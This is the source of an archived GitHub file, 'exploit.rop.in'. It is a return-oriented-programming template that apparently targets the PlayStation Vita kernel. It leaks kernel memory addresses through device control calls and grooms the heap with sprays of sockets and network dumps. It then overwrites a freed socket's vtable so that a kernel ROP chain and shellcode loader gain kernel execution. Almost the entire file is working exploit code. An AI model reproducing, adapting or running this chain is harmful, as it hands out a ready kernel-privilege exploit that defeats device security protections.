This repository has been archived by the owner on Nov 21, 2019. It is now read-only.
/
exploit.rop.in
283 lines (228 loc) · 8.56 KB
/
exploit.rop.in
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
#include "common.rop"
data
{
#include "functions.rop"
#if !RELEASE
symbol socket_d = "socket %d \n";
symbol close_ret = "close ret 0x%x\n";
symbol create_large = "create large 0x%x 0x%x\n";
#endif
buffer ioctl[0x400];
buffer crap[0x100];
buffer our_data[0x1000];
variable file_uid = -1;
variable kernel_stack_base = -1;
variable sysmem_base;
<% need_sockets = 80 %>
symbol need_sockets = <%= need_sockets %>;
buffer sockets[<%= need_sockets * 4 %>];
variable free1;
variable tester;
variable tmp;
variable dump_to_free;
variable another_hole;
<% need_dumps = 9 %>
buffer dumps_to_delete[<%= need_dumps * 4 %>];
variable rop_thread_id; // thread calling vulnerable syscall
buffer thread_info[0x80];
buffer device_name[0x10];
buffer command[0x10];
buffer command2[0x10];
buffer open_device_name[0x10];
symbol stack_size = 0x2000;
variable stack_base;
buffer user_ropchain[0x100];
variable pret;
buffer ldm_buf[7 * 4];
buffer mybuf[0x100];
variable vptr;
buffer args_buf_first[0x10];
buffer args_buf_second[0x10];
buffer kernel_ropchain[0x100];
buffer krop[0x400];
variable plant_thread_id;
variable plant_stack_base;
symbol stack_shellcode_offset = 0x300;
symbol sysmem_shellcode_offset = 0x27640;
symbol stack_rop_offset = 4;
symbol kstack_offset_to_data = 1784;
symbol ddd = "ddd";
variable kx_loader_addr;
// first binary payload which is small and loads the second payload
#include "../build/kx_loader.rop"
// actual second payload
#ifdef OFFLINE
#include "../build/offline/second_payload.rop"
#else
#include "../build/second_payload.rop"
#endif
}
code : entry
{
// PRINTF("started\n");
strcat(device_name, "sdstor0:");
strcat(command, "gcd-lp-ign-gamero");
memset(ioctl, 0, 0x400);
strcat(open_device_name, "molecule0:");
sceIoOpen(open_device_name, 0, 0);
sceIoDevctl(device_name, 5, command, 0x14, ioctl, 0x3FF); // only leak sysmem from this call
add([ioctl+0x3D4], -0x5747);
store(&return, sysmem_base);
PRINTF("sysmem base: 0x%x \n", [sysmem_base]);
// plant thread leaks kernel stack via devctl and inserts the payload there using another devctl
sceKernelCreateThread("pln", ldm_r1_stuff, 0x10000100, stack_size, 0, 0, 0);
store(&return, plant_thread_id);
PRINTF("plant thread %x \n", [plant_thread_id]);
store(0x7C, thread_info);
sceKernelGetThreadInfo([plant_thread_id], thread_info);
PRINTF("stack %x \n", [thread_info + 0x34]);
// some free space for function calls
add([thread_info + 0x34], 0x1000);
store(&return, plant_stack_base);
// can do the define trick because preprocessor runs before erb
#define NEXT user_ropchain+4*<%=i+=1%>
#define STORE(addr) store(addr, NEXT)
// woah, it's a micro roptool inside of our roptool
#define STORE_CALL(func, a1, a2, a3, a4, last_r4) \
STORE(pop_r0_to_r5); \
STORE(a1); \
STORE(a2); \
STORE(a3); \
STORE(a4); \
STORE(func); \
STORE(0); \
STORE(blx_r4_pop_r4); \
STORE(last_r4)
<% i = -1 %>
store(0x14, args_buf_first+0);
store(ioctl, args_buf_first+4);
store(0x3FF, args_buf_first+8);
store(0x400, args_buf_second+0);
store(0, args_buf_second+4);
store(0, args_buf_second+8);
// build user ropchain -- for plant thread
STORE_CALL(sceIoOpen, open_device_name, 0, 0, 0, 0); // sceIoOpen to populate kernel stack
STORE_CALL(sceIoDevctl_svc, device_name, 5, command, args_buf_first, 0); // first devctl to leak stack/sysmem addr
//STORE_CALL(sceIoDevctl_svc, device_name, 5, command2, args_buf_first, 0); // first devctl to leak stack/sysmem addr
STORE_CALL(sceKernelDelayThread, 1 * 1000 * 1000, 0, 0, 0, 0); // delay to sync our two threads
STORE_CALL(sceIoDevctl_svc, device_name, 5, our_data, args_buf_second, 0); // second devctl to plant our data into kmem
STORE(infloop);
// copy user ropchain into user stack
memcpy([plant_stack_base], user_ropchain, 0x100);
// set up args for LDM user thread stack pivot
store([plant_stack_base], ldm_buf+5*4);
store(pop_pc, ldm_buf+6*4);
sceKernelStartThread([plant_thread_id], 7 * 4, ldm_buf); // it should hang
PRINTF("start plant rop thre ad 0x%x\n", &return);
// plant thread end
sceKernelDelayThread(100 * 1000); // sleep 0.1s
add([ioctl+0x3C4], -0xABC);
store(&return, kernel_stack_base);
PRINTF("kernel stack: 0x%x (?)\n", [kernel_stack_base]);
// set up data for kernel
add([sysmem_base], 0x1e460); // ldm R0, {R4,R10,R12,SP,PC}
store(&return, our_data); // future function ptr
// layout: [ ldm_gadget ] [ kernel ropchain .... ] ... [ payload? ]
// remember: we only have 0x400 bytes, and the less we use the better
add([kernel_stack_base], kstack_offset_to_data);
add(&return, stack_shellcode_offset);
store(&return, kx_loader_addr);
PRINTF("krop start\n");
#include "../build/krop.rop"
PRINTF("krop end\n");
memcpy(our_data + stack_rop_offset, krop, 0x300);
// set up shellcode
memcpy(our_data + stack_shellcode_offset, kx_loader, 0x400);
PRINTF("shellcode end\n");
// after the plant thread wakes up, it should copy our_data into kernel stack
// set up overwritten socket structure
add([kernel_stack_base], 1756);
store(&return, mybuf + 6 * 4); // vptr
add([kernel_stack_base], kstack_offset_to_data);
add(&return, stack_rop_offset);
store(&return, mybuf + 3 * 4); // sp
add([sysmem_base], 0x347); // pop {pc} to kick off the ropchain
store(&return, mybuf + 4 * 4);
PRINTF("hacked vtable at 0x%x\n", [mybuf + 0x18]);
// create and set up rop thread that will call vulnerable syscall
sceKernelCreateThread("mhm", ldm_r1_stuff, 0x10000100, stack_size, 0, 0, 0);
store(&return, rop_thread_id);
PRINTF("thread %x \n", [rop_thread_id]);
store(0x7C, thread_info);
sceKernelGetThreadInfo([rop_thread_id], thread_info);
PRINTF("stack %x \n", [thread_info + 0x34]);
// some free space for function calls
add([thread_info + 0x34], 0x1000);
store(&return, stack_base);
// create a lot of sockets
<% need_sockets.times do |socket_id| %>
socket("x", 2, 1, 0);
store(&return, sockets + 4 * <%= socket_id %>);
// PRINTF(socket_d, [sockets + 4 * <%= socket_id %>]);
<% end %>
PRINTF("enough of this\n");
socket("sss", 2, 1, 0);
store(&return, free1);
socket("tst", 2, 7, 0);
store(&return, tester);
PRINTF("tester socket %d\n", [tester]);
<% i = -1 %>
// We reuse old macros NEXT/STORE/STORE_CALL here because we're using the same buffer, but reset the `i`
// build user ropchain
STORE_CALL(sceNetSyscallIoctl, [tester], 0x10007300, 0, 0, pret); // r4 = pret
STORE(str_r0_r4_pop_r4);
STORE(0);
STORE(infloop);
// copy user ropchain into user stack
memcpy([stack_base], user_ropchain, 0x100);
// set up args for LDM user thread stack pivot
store([stack_base], ldm_buf+5*4);
store(pop_pc, ldm_buf+6*4);
socket("tmp", 2, 1, 0);
store(&return, tmp);
<% need_dumps.times do |dump_id| %>
sceNetDumpCreate(ddd, 0xF00, 0);
store(&return, dumps_to_delete + <%= 4 * dump_id %>);
<% end %>
sceNetDumpCreate(ddd, 0xF00, 0);
store(&return, another_hole);
sceNetDumpCreate(ddd, 0x1000, 0);
store(&return, dump_to_free);
PRINTF("dump_to_free: 0x%08X\n", [dump_to_free]);
PRINTF("now free some stuffs and create holes... \n");
// free some memory and create holes
<% (0..need_dumps-1).step(2) do |dump_id| %>
sceNetDumpDestroy([dumps_to_delete + <%= 4 * dump_id %>]);
<% end %>
sceNetDumpDestroy([another_hole]);
// | decrease this number if things break
// v
<% (0xD0000).step(0xA0000, -0x100) do |dump_sz| %>
sceNetDumpCreate(ddd, <%= dump_sz %>, 0);
// PRINTF(create_large, &return, <%= dump_sz %>);
<% end %>
sceNetDumpCreate(ddd, 0x1000, 0);
PRINTF("another 0x%x\n", &return);
sceNetDumpCreate(ddd, 0x1000, 0);
PRINTF("last dump size=0x1000 ret=0x%x (should be=0x8041010c) \n", &return);
sceKernelStartThread([rop_thread_id], 7 * 4, ldm_buf); // it should hang
PRINTF("start user rop thread 0x%x\n", &return);
sceKernelDelayThread(1500*1000);
// free sockets
<% (0..need_sockets-1).step(2) do |socket_id| %>
sceNetSyscallClose([sockets + <%= 4 * socket_id %>]);
<% end %>
sceNetSyscallClose([tester]);
PRINTF("free tester 0x%x\n", &return);
sceNetSyscallControl(0, 0x30000000, mybuf, 0xFC);
sceNetDumpDestroy([dump_to_free]);
sceKernelDelayThread(1*1000*1000);
PRINTF("user thread reports %d\n", [pret]);
add([pret], bx_lr); // on success this will remain at 0, on error it will be -22
call_r0(0); // so we continue user rop when kernel payload triggers and crash otherwise
// free the dumps now, we need net memory for http stuff in usermode to work!
<% for dump_id in (0x1770..0x1790) %>
sceNetDumpDestroy(<%= dump_id %>);
<% end %>
infloop();
}